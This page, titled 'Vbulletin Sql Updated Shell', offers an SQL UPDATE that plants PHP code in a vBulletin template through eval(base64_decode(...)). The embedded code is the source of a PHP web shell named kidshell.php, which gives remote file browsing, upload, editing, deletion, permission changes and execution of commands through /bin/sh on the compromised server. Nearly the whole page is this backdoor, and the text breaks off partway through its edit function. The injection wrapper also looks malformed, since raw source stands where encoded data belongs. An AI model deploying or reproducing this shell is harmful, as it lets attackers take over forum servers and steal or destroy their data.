Skip to main content

Vbulletin Sql Updated Shell

webmin sql:

Code:
UPDATE `template` SET `template` = '$spacer_open
{${eval(base64_decode("/*
 * kidshell.php
 * Copyright (C) 2008 <x3q@hotmail.com>
 * -------------------------------------------------------------------------
 * <x3q@hotmail.com>
 *    kidshell.php completely rewritten:
 *    - clean XHTML/CSS output
 *    - several files selectable
 *    - support for windows servers
 *    - no more treeview, because
 *    - kidshell.php is a >simple< file manager
 *    - performance problems (too much additional code)
 *    - I don't like: frames, java-script, to reload after every treeview-click
 *    - execution of shell scripts
 *    - introduced revision numbers
/* ------------------------------------------------------------------------- */

/* Your language:
 * 'en' - English
 */
$lang = 'en';

/* Charset of your filenames:
 */
$charset = 'ISO-8859-1';

/* Homedir:
 * For example: './' - the script's directory
 */
$homedir = './';

/* Size of the edit textarea
 */
$editcols = 72;
$editrows = 18;

/* -------------------------------------------
 * Optional configuration (remove # to enable)
 */

/* Permission of created directories:
 * For example: 0705 would be 'drwx---r-x'.
 */
# $dirpermission = 0705;

/* Permission of created files:
 * For example: 0604 would be '-rw----r--'.
 */
# $filepermission = 0604;

/* Filenames related to the apache web server:
 */
$htaccess = '.htaccess';
$htpasswd = '.htpasswd';

/* ------------------------------------------------------------------------- */

if (get_magic_quotes_gpc()) {
	array_walk($_GET, 'strip');
	array_walk($_POST, 'strip');
	array_walk($_REQUEST, 'strip');
}

if (array_key_exists('image', $_GET)) {
	header('Content-Type: image/gif');
	die(getimage($_GET['image']));
}

$delim = DIRECTORY_SEPARATOR;

if (function_exists('php_uname')) {
	$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
} else {
	$win = ($delim == '\\') ? true : false;
}

if (!empty($_SERVER['PATH_TRANSLATED'])) {
	$scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
	$scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
} elseif (function_exists('getcwd')) {
	$scriptdir = getcwd();
} else {
	$scriptdir = '.';
}
$homedir = relative2absolute($homedir, $scriptdir);

$dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;

if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
	$dir = relative2absolute($dir, $_POST['olddir']);
}

$directory = simplify_path(addslash($dir));

$files = array();
$action = '';
if (!empty($_POST['submit_all'])) {
	$action = $_POST['action_all'];
	for ($i = 0; $i < $_POST['num']; $i++) {
		if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
			$files[] = $_POST["file$i"];
		}
	}
} elseif (!empty($_REQUEST['action'])) {
	$action = $_REQUEST['action'];
	$files[] = relative2absolute($_REQUEST['file'], $directory);
} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
	$files[] = $_FILES['upload'];
	$action = 'upload';
} elseif (array_key_exists('num', $_POST)) {
	for ($i = 0; $i < $_POST['num']; $i++) {
		if (array_key_exists("submit$i", $_POST)) break;
	}
	if ($i < $_POST['num']) {
		$action = $_POST["action$i"];
		$files[] = $_POST["file$i"];
	}
}
if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
	$files[] = relative2absolute($_POST['create_name'], $directory);
	switch ($_POST['create_type']) {
	case 'directory':
		$action = 'create_directory';
		break;
	case 'file':
		$action = 'create_file';
	}
}
if (sizeof($files) == 0) $action = ''; else $file = reset($files);

$words = getwords($lang);

$cols = ($win) ? 4 : 7;

if (!isset($dirpermission)) {
	$dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
}
if (!isset($filepermission)) {
	$filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
}

if (!empty($_SERVER['SCRIPT_NAME'])) {
	$self = html(basename($_SERVER['SCRIPT_NAME']));
} elseif (!empty($_SERVER['PHP_SELF'])) {
	$self = html(basename($_SERVER['PHP_SELF']));
} else {
	$self = '';
}

if (!empty($_SERVER['SERVER_SOFTWARE'])) {
	if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
		$apache = true;
	} else {
		$apache = false;
	}
} else {
	$apache = true;
}

switch ($action) {

case 'view':

	if (is_script($file)) {

		/* highlight_file is a mess! */
		ob_start();
		highlight_file($file);
		$src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
		$src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
		ob_end_clean();

		html_header();
		echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>

<hr />

<table>
<tr>
<td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
<pre style="margin-top: 0"><code>';

		for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";

		echo '</code></pre>
</td>
<td style="text-align: left; vertical-align: top; padding-left: 3pt">
<pre style="margin-top: 0">' . $src . '</pre>
</td>
</tr>
</table>

';

		html_footer();

	} else {

		header('Content-Type: ' . getmimetype($file));
		header('Content-Disposition: filename=' . basename($file));

		readfile($file);

	}

	break;

case 'download':

	header('Pragma: public');
	header('Expires: 0');
	header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
	header('Content-Type: ' . getmimetype($file));
	header('Content-Disposition: attachment; filename=' . basename($file) . ';');
	header('Content-Length: ' . filesize($file));

	readfile($file);

	break;

case 'upload':

	$dest = relative2absolute($file['name'], $directory);

	if (@file_exists($dest)) {
		listing_page(error('already_exists', $dest));
	} elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
		listing_page(notice('uploaded', $file['name']));
	} else {
		listing_page(error('not_uploaded', $file['name']));
	}

	break;

case 'create_directory':

	if (@file_exists($file)) {
		listing_page(error('already_exists', $file));
	} else {
		$old = @umask(0777 & ~$dirpermission);
		if (@mkdir($file, $dirpermission)) {
			listing_page(notice('created', $file));
		} else {
			listing_page(error('not_created', $file));
		}
		@umask($old);
	}

	break;

case 'create_file':

	if (@file_exists($file)) {
		listing_page(error('already_exists', $file));
	} else {
		$old = @umask(0777 & ~$filepermission);
		if (@touch($file)) {
			edit($file);
		} else {
			listing_page(error('not_created', $file));
		}
		@umask($old);
	}

	break;

case 'execute':

	chdir(dirname($file));

	$output = array();
	$retval = 0;
	exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);

	$error = ($retval == 0) ? false : true;

	if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');

	if ($error) {
		listing_page(error('not_executed', $file, implode("\n", $output)));
	} else {
		listing_page(notice('executed', $file, implode("\n", $output)));
	}

	break;

case 'delete':

	if (!empty($_POST['no'])) {
		listing_page(null);
	} elseif (!empty($_POST['yes'])) {

		$failure = array();
		$success = array();

		foreach ($files as $file) {
			if (del($file)) {
				$success[] = $file;
			} else {
				$failure[] = $file;
			}
		}

		$message = '';
		if (sizeof($failure) > 0) {
			$message = error('not_deleted', implode("\n", $failure));
		}
		if (sizeof($success) > 0) {
			$message .= notice('deleted', implode("\n", $success));
		}

		listing_page($message);

	} else {

		html_header();

		echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
';

		request_dump();

		echo "\t<b>" . word('really_delete') . '</b>
	<p>
';

		foreach ($files as $file) {
			echo "\t" . html($file) . "<br />\n";
		}

		echo '	</p>
	<hr />
	<input type="submit" name="no" value="' . word('no') . '" id="red_button" />
	<input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
</td>
</tr>
</table>
</form>

';

		html_footer();

	}

	break;

case 'rename':

	if (!empty($_POST['destination'])) {

		$dest = relative2absolute($_POST['destination'], $directory);

		if (!@file_exists($dest) && @rename($file, $dest)) {
			listing_page(notice('renamed', $file, $dest));
		} else {
			listing_page(error('not_renamed', $file, $dest));
		}

	} else {

		html_header();

		echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
	<input type="hidden" name="action" value="rename" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />
	<b>' . word('rename_file') . '</b>
	<p>' . html($file) . '</p>
	<hr />
	' . word('destination') . ':
	<input type="text" name="destination" size="' . textfieldsize($file) . '" value="' . html($file) . '" />
	<input type="submit" value="' . word('rename') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

		html_footer();

	}

	break;

case 'move':

	if (!empty($_POST['destination'])) {

		$dest = relative2absolute($_POST['destination'], $directory);

		$failure = array();
		$success = array();

		foreach ($files as $file) {
			$filename = substr($file, strlen($directory));
			$d = $dest . $filename;
			if (!@file_exists($d) && @rename($file, $d)) {
				$success[] = $file;
			} else {
				$failure[] = $file;
			}
		}

		$message = '';
		if (sizeof($failure) > 0) {
			$message = error('not_moved', implode("\n", $failure), $dest);
		}
		if (sizeof($success) > 0) {
			$message .= notice('moved', implode("\n", $success), $dest);
		}

		listing_page($message);

	} else {

		html_header();

		echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
';

		request_dump();

		echo "\t<b>" . word('move_files') . '</b>
	<p>
';

		foreach ($files as $file) {
			echo "\t" . html($file) . "<br />\n";
		}

		echo '	</p>
	<hr />
	' . word('destination') . ':
	<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
	<input type="submit" value="' . word('move') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

		html_footer();

	}

	break;

case 'copy':

	if (!empty($_POST['destination'])) {

		$dest = relative2absolute($_POST['destination'], $directory);

		if (@is_dir($dest)) {

			$failure = array();
			$success = array();

			foreach ($files as $file) {
				$filename = substr($file, strlen($directory));
				$d = addslash($dest) . $filename;
				if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
					$success[] = $file;
				} else {
					$failure[] = $file;
				}
			}

			$message = '';
			if (sizeof($failure) > 0) {
				$message = error('not_copied', implode("\n", $failure), $dest);
			}
			if (sizeof($success) > 0) {
				$message .= notice('copied', implode("\n", $success), $dest);
			}

			listing_page($message);

		} else {

			if (!@file_exists($dest) && @copy($file, $dest)) {
				listing_page(notice('copied', $file, $dest));
			} else {
				listing_page(error('not_copied', $file, $dest));
			}

		}

	} else {

		html_header();

		echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
';

		request_dump();

		echo "\n<b>" . word('copy_files') . '</b>
	<p>
';

		foreach ($files as $file) {
			echo "\t" . html($file) . "<br />\n";
		}

		echo '	</p>
	<hr />
	' . word('destination') . ':
	<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
	<input type="submit" value="' . word('copy') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

		html_footer();

	}

	break;

case 'create_symlink':

	if (!empty($_POST['destination'])) {

		$dest = relative2absolute($_POST['destination'], $directory);

		if (substr($dest, -1, 1) == $delim) $dest .= basename($file);

		if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);

		if (!@file_exists($dest) && @symlink($file, $dest)) {
			listing_page(notice('symlinked', $file, $dest));
		} else {
			listing_page(error('not_symlinked', $file, $dest));
		}

	} else {

		html_header();

		echo '<form action="' . $self . '" method="post">

<table class="dialog" id="symlink">
<tr>
	<td style="vertical-align: top">' . word('destination') . ': </td>
	<td>
		<b>' . html($file) . '</b><br />
		<input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
		<label for="checkbox_relative">' . word('relative') . '</label>
		<input type="hidden" name="action" value="create_symlink" />
		<input type="hidden" name="file" value="' . html($file) . '" />
		<input type="hidden" name="dir" value="' . html($directory) . '" />
	</td>
</tr>
<tr>
	<td>' . word('symlink') . ': </td>
	<td>
		<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
		<input type="submit" value="' . word('create_symlink') . '" />
	</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

		html_footer();

	}

	break;

case 'edit':

	if (!empty($_POST['save'])) {

		$content = str_replace("\r\n", "\n", $_POST['content']);

		if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
			listing_page(notice('saved', $file));
		} else {
			listing_page(error('not_saved', $file));
		}

	} else {

		if (@is_readable($file) && @is_writable($file)) {
			edit($file);
		} else {
			listing_page(error('not_edited', $file));
		}

	}

	break;

case 'permission':

	if (!empty($_POST['set'])) {

		$mode = 0;
		if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
		if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
		if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;

		if (@chmod($file, $mode)) {
			listing_page(notice('permission_set', $file, decoct($mode)));
		} else {
			listing_page(error('permission_not_set', $file, decoct($mode)));
		}

	} else {

		html_header();

		$mode = fileperms($file);

		echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">

	<p style="margin: 0">' . phrase('permission_for', $file) . '</p>

	<hr />

	<table id="permission">
	<tr>
		<td></td>
		<td style="border-right: 1px solid black">' . word('owner') . '</td>
		<td style="border-right: 1px solid black">' . word('group') . '</td>
		<td>' . word('other') . '</td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('read') . ':</td>
		<td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('write') . ':</td>
		<td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('execute') . ':</td>
		<td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
	</tr>
	</table>

	<hr />

	<input type="submit" name="set" value="' . word('set') . '" />

	<input type="hidden" name="action" value="permission" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />

</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

		html_footer();

	}

	break;

default:

	listing_page(null);

}

/* ------------------------------------------------------------------------- */

function getlist ($directory) {
	global $delim, $win;

	if ($d = @opendir($directory)) {

		while (($filename = @readdir($d)) !== false) {

			$path = relative2absolute($filename, $directory);

			if ($stat = @lstat($path)) {

				$file = array(
					'filename'    => $filename,
					'path'        => $path,
					'is_file'     => @is_file($path),
					'is_dir'      => @is_dir($path),
					'is_link'     => @is_link($path),
					'is_readable' => @is_readable($path),
					'is_writable' => @is_writable($path),
					'size'        => $stat['size'],
					'permission'  => $stat['mode'],
					'owner'       => $stat['uid'],
					'group'       => $stat['gid'],
					'mtime'       => @filemtime($path),
					'atime'       => @fileatime($path),
					'ctime'       => @filectime($path)
				);

				if (!$win) {
					if ($file['is_dir']) {
						/* also returns true, if the directory is not
						 * executable but readable
						 */
						if (($o = @opendir($path)) !== false) {
							closedir($o);
							$file['is_executable'] = true;
						} else {
							$file['is_executable'] = false;
						}
					} else {
						$file['is_executable'] = @is_executable($path);
					}
				} else {
					$file['is_executable'] = true;
				}

				if ($file['is_link']) $file['target'] = @readlink($path);

				if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
				if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));

				$files[] = $file;

			}

		}

		return $files;

	} else {
		return false;
	}

}

function sortlist (&$list, $key, $reverse) {

	quicksort($list, 0, sizeof($list) - 1, $key);

	if ($reverse) $list = array_reverse($list);

}

function quicksort (&$array, $first, $last, $key) {

	if ($first < $last) {

		$cmp = $array[floor(($first + $last) / 2)][$key];

		$l = $first;
		$r = $last;

		while ($l <= $r) {

			while ($array[$l][$key] < $cmp) $l++;
			while ($array[$r][$key] > $cmp) $r--;

			if ($l <= $r) {

				$tmp = $array[$l];
				$array[$l] = $array[$r];
				$array[$r] = $tmp;

				$l++;
				$r--;

			}

		}

		quicksort($array, $first, $r, $key);
		quicksort($array, $l, $last, $key);

	}

}

function permission_octal2string ($mode) {

	if (($mode & 0xC000) === 0xC000) {
		$type = 's';
	} elseif (($mode & 0xA000) === 0xA000) {
		$type = 'l';
	} elseif (($mode & 0x8000) === 0x8000) {
		$type = '-';
	} elseif (($mode & 0x6000) === 0x6000) {
		$type = 'b';
	} elseif (($mode & 0x4000) === 0x4000) {
		$type = 'd';
	} elseif (($mode & 0x2000) === 0x2000) {
		$type = 'c';
	} elseif (($mode & 0x1000) === 0x1000) {
		$type = 'p';
	} else {
		$type = '?';
	}

	$owner  = ($mode & 00400) ? 'r' : '-';
	$owner .= ($mode & 00200) ? 'w' : '-';
	if ($mode & 0x800) {
		$owner .= ($mode & 00100) ? 's' : 'S';
	} else {
		$owner .= ($mode & 00100) ? 'x' : '-';
	}

	$group  = ($mode & 00040) ? 'r' : '-';
	$group .= ($mode & 00020) ? 'w' : '-';
	if ($mode & 0x400) {
		$group .= ($mode & 00010) ? 's' : 'S';
	} else {
		$group .= ($mode & 00010) ? 'x' : '-';
	}

	$other  = ($mode & 00004) ? 'r' : '-';
	$other .= ($mode & 00002) ? 'w' : '-';
	if ($mode & 0x200) {
		$other .= ($mode & 00001) ? 't' : 'T';
	} else {
		$other .= ($mode & 00001) ? 'x' : '-';
	}

	return $type . $owner . $group . $other;

}

function is_script ($filename) {
	return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
}

function getmimetype ($filename) {
	static $mimes = array(
		'\.jpg$|\.jpeg$'  => 'image/jpeg',
		'\.gif$'          => 'image/gif',
		'\.png$'          => 'image/png',
		'\.html$|\.html$' => 'text/html',
		'\.txt$|\.asc$'   => 'text/plain',
		'\.xml$|\.xsl$'   => 'application/xml',
		'\.pdf$'          => 'application/pdf'
	);

	foreach ($mimes as $regex => $mime) {
		if (eregi($regex, $filename)) return $mime;
	}

	// return 'application/octet-stream';
	return 'text/plain';

}

function del ($file) {
	global $delim;

	if (!@is_link($file) && !file_exists($file)) return false;

	if (!@is_link($file) && @is_dir($file)) {

		if ($dir = @opendir($file)) {

			$error = false;

			while (($f = readdir($dir)) !== false) {
				if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
					$error = true;
				}
			}
			closedir($dir);

			if (!$error) return @rmdir($file);

			return !$error;

		} else {
			return false;
		}

	} else {
		return @unlink($file);
	}

}

function addslash ($directory) {
	global $delim;

	if (substr($directory, -1, 1) != $delim) {
		return $directory . $delim;
	} else {
		return $directory;
	}

}

function relative2absolute ($string, $directory) {

	if (path_is_relative($string)) {
		return simplify_path(addslash($directory) . $string);
	} else {
		return simplify_path($string);
	}

}

function path_is_relative ($path) {
	global $win;

	if ($win) {
		return (substr($path, 1, 1) != ':');
	} else {
		return (substr($path, 0, 1) != '/');
	}

}

function absolute2relative ($directory, $target) {
	global $delim;

	$path = '';
	while ($directory != $target) {
		if ($directory == substr($target, 0, strlen($directory))) {
			$path .= substr($target, strlen($directory));
			break;
		} else {
			$path .= '..' . $delim;
			$directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
		}
	}
	if ($path == '') $path = '.';

	return $path;

}

function simplify_path ($path) {
	global $delim;

	if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
		$path = realpath($path);
		if (@is_dir($path)) {
			return addslash($path);
		} else {
			return $path;
		}
	}

	$pattern  = $delim . '.' . $delim;

	if (@is_dir($path)) {
		$path = addslash($path);
	}

	while (strpos($path, $pattern) !== false) {
		$path = str_replace($pattern, $delim, $path);
	}

	$e = addslashes($delim);
	$regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;

	while (ereg($regex, $path)) {
		$path = ereg_replace($regex, $delim, $path);
	}
	
	return $path;

}

function human_filesize ($filesize) {

	$suffices = 'kMGTPE';

	$n = 0;
	while ($filesize >= 1000) {
		$filesize /= 1024;
		$n++;
	}

	$filesize = round($filesize, 3 - strpos($filesize, '.'));

	if (strpos($filesize, '.') !== false) {
		while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
			$filesize = substr($filesize, 0, strlen($filesize) - 1);
		}
	}

	$suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));

	return $filesize . " {$suffix}B";

}

function strip (&$str) {
	$str = stripslashes($str);
}

/* ------------------------------------------------------------------------- */

function listing_page ($message = null) {
	global $self, $directory, $sort, $reverse;

	html_header();

	$list = getlist($directory);

	if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
	if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;

	sortlist($list, $sort, $reverse);

	echo '<b><u>kid <> x3q(at)hotmail(dot)com</u></b></h1>

<form enctype="multipart/form-data" action="' . $self . '" method="post">

<table id="main">
';

	directory_choice();

	if (!empty($message)) {
		spacer();
		echo $message;
	}

	if (@is_writable($directory)) {
		upload_box();
		create_box();
	} else {
		spacer();
	}

	if ($list) {
		listing($list);
	} else {
		echo error('not_readable', $directory);
	}

	echo '</table>

</form>

';

	html_footer();

}

function listing ($list) {
	global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;

	echo '<tr class="listing">
	<th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
';

	$d = 'dir=' . urlencode($directory) . '&amp;';

	if (!$reverse && $sort == 'filename') $r = '&amp;reverse=true'; else $r = '';
	echo "\t<th class=\"filename\"><a href=\"$self?{$d}sort=filename$r\">" . word('filename') . "</a></th>\n";

	if (!$reverse && $sort == 'size') $r = '&amp;reverse=true'; else $r = '';
	echo "\t<th class=\"size\"><a href=\"$self?{$d}sort=size$r\">" . word('size') . "</a></th>\n";

	if (!$win) {

		if (!$reverse && $sort == 'permission') $r = '&amp;reverse=true'; else $r = '';
		echo "\t<th class=\"permission_header\"><a href=\"$self?{$d}sort=permission$r\">" . word('permission') . "</a></th>\n";

		if (!$reverse && $sort == 'owner') $r = '&amp;reverse=true'; else $r = '';
		echo "\t<th class=\"owner\"><a href=\"$self?{$d}sort=owner$r\">" . word('owner') . "</a></th>\n";

		if (!$reverse && $sort == 'group') $r = '&amp;reverse=true'; else $r = '';
		echo "\t<th class=\"group\"><a href=\"$self?{$d}sort=group$r\">" . word('group') . "</a></th>\n";

	}

	echo '	<th class="functions">' . word ('functions')  . '</th>
</tr>
';

	for ($i = 0; $i < sizeof($list); $i++) {
		$file = $list[$i];

		$timestamps  = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
		$timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
		$timestamps .= 'ctime: ' . date($date_format, $file['ctime']);

		echo '<tr class="listing">
	<td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
	<td class="filename" title="' . html($timestamps) . '">';

		if ($file['is_link']) {

			echo '<img src="' . $self . '?image=link" alt="link" /> ';
			echo html($file['filename']) . ' &rarr; ';

			$real_file = relative2absolute($file['target'], $directory);

			if (@is_readable($real_file)) {
				if (@is_dir($real_file)) {
					echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
				} else {
					echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
				}
			} else {
				echo html($file['target']);
			}

		} elseif ($file['is_dir']) {

			echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
			if ($file['is_readable'] && $file['is_executable']) {
				echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
			} else {
				echo html($file['filename']);
			}
			echo ' ]';

		} else {

			if (substr($file['filename'], 0, 1) == '.') {
				echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
			} else {
				echo '<img src="' . $self . '?image=file" alt="file" /> ';
			}

			if ($file['is_file'] && $file['is_readable']) {
			   echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
			} else {
				echo html($file['filename']);
			}

		}

		if ($file['size'] >= 1000) {
			$human = ' title="' . human_filesize($file['size']) . '"';
		} else {
			$human = '';
		}

		echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n";

		if (!$win) {

			echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';

			$l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
			if ($l) echo '<a href="' . $self . '?action=permission&amp;file=' . urlencode($file['path']) . '&amp;dir=' . urlencode($directory) . '">';
			echo html(permission_octal2string($file['permission']));
			if ($l) echo '</a>';

			echo "</td>\n";

			if (array_key_exists('owner_name', $file)) {
				echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
			} else {
				echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
			}

			if (array_key_exists('group_name', $file)) {
				echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
			} else {
				echo "\t<td class=\"group\">{$file['group']}</td>\n";
			}

		}

		echo '	<td class="functions">
		<input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
';

		$actions = array();
		if (function_exists('symlink')) {
			$actions[] = 'create_symlink';
		}
		if (@is_writable(dirname($file['path']))) {
			$actions[] = 'delete';
			$actions[] = 'rename';
			$actions[] = 'move';
		}
		if ($file['is_file'] && $file['is_readable']) {
			$actions[] = 'copy';
			$actions[] = 'download';
			if ($file['is_writable']) $actions[] = 'edit';
		}
		if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
			$actions[] = 'execute';
		}

		if (sizeof($actions) > 0) {

			echo '		<select class="small" name="action' . $i . '" size="1">
		<option value="">' . str_repeat('&nbsp;', 30) . '</option>
';

			foreach ($actions as $action) {
				echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
			}

			echo '		</select>
		<input class="small" type="submit" name="submit' . $i . '" value=" &gt; " onfocus="activate(\'other\')" />
';

		}

		echo '	</td>
</tr>
';

	}

	echo '<tr class="listing_footer">
	<td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt="&gt;" /></td>
	<td colspan="' . ($cols - 1) . '">
		<input type="hidden" name="num" value="' . sizeof($list) . '" />
		<input type="hidden" name="focus" value="" />
		<input type="hidden" name="olddir" value="' . html($directory) . '" />
';

	$actions = array();
	if (@is_writable(dirname($file['path']))) {
		$actions[] = 'delete';
		$actions[] = 'move';
	}
	$actions[] = 'copy';

	echo '		<select class="small" name="action_all" size="1">
		<option value="">' . str_repeat('&nbsp;', 30) . '</option>
';

	foreach ($actions as $action) {
		echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
	}

	echo '		</select>
		<input class="small" type="submit" name="submit_all" value=" &gt; " onfocus="activate(\'other\')" />
	</td>
</tr>
';

}

function directory_choice () {
	global $directory, $homedir, $cols, $self;

	echo '<tr>
	<td colspan="' . $cols . '" id="directory">
		<a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
		<input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
		<input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
	</td>
</tr>
';

}

function upload_box () {
	global $cols;

	echo '<tr>
	<td colspan="' . $cols . '" id="upload">
		' . word('file') . ':
		<input type="file" name="upload" onfocus="activate(\'other\')" />
		<input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
	</td>
</tr>
';

}

function create_box () {
	global $cols;

	echo '<tr>
	<td colspan="' . $cols . '" id="create">
		<select name="create_type" size="1" onfocus="activate(\'create\')">
		<option value="file">' . word('file') . '</option>
		<option value="directory">' . word('directory') . '</option>
		</select>
		<input type="text" name="create_name" onfocus="activate(\'create\')" />
		<input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
	</td>
</tr>
';

}

function edit ($file) {
	global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;

	html_header();

	echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>

<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">

	<textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '">';

	if (array_key_exists('content', $_POST)) {
		echo $_POST['content'];
	} else {
		$f = fopen($file, 'r');
		while (!feof($f)) {
			echo html(fread($f, 8192));
		}
		fclose($f);
	}

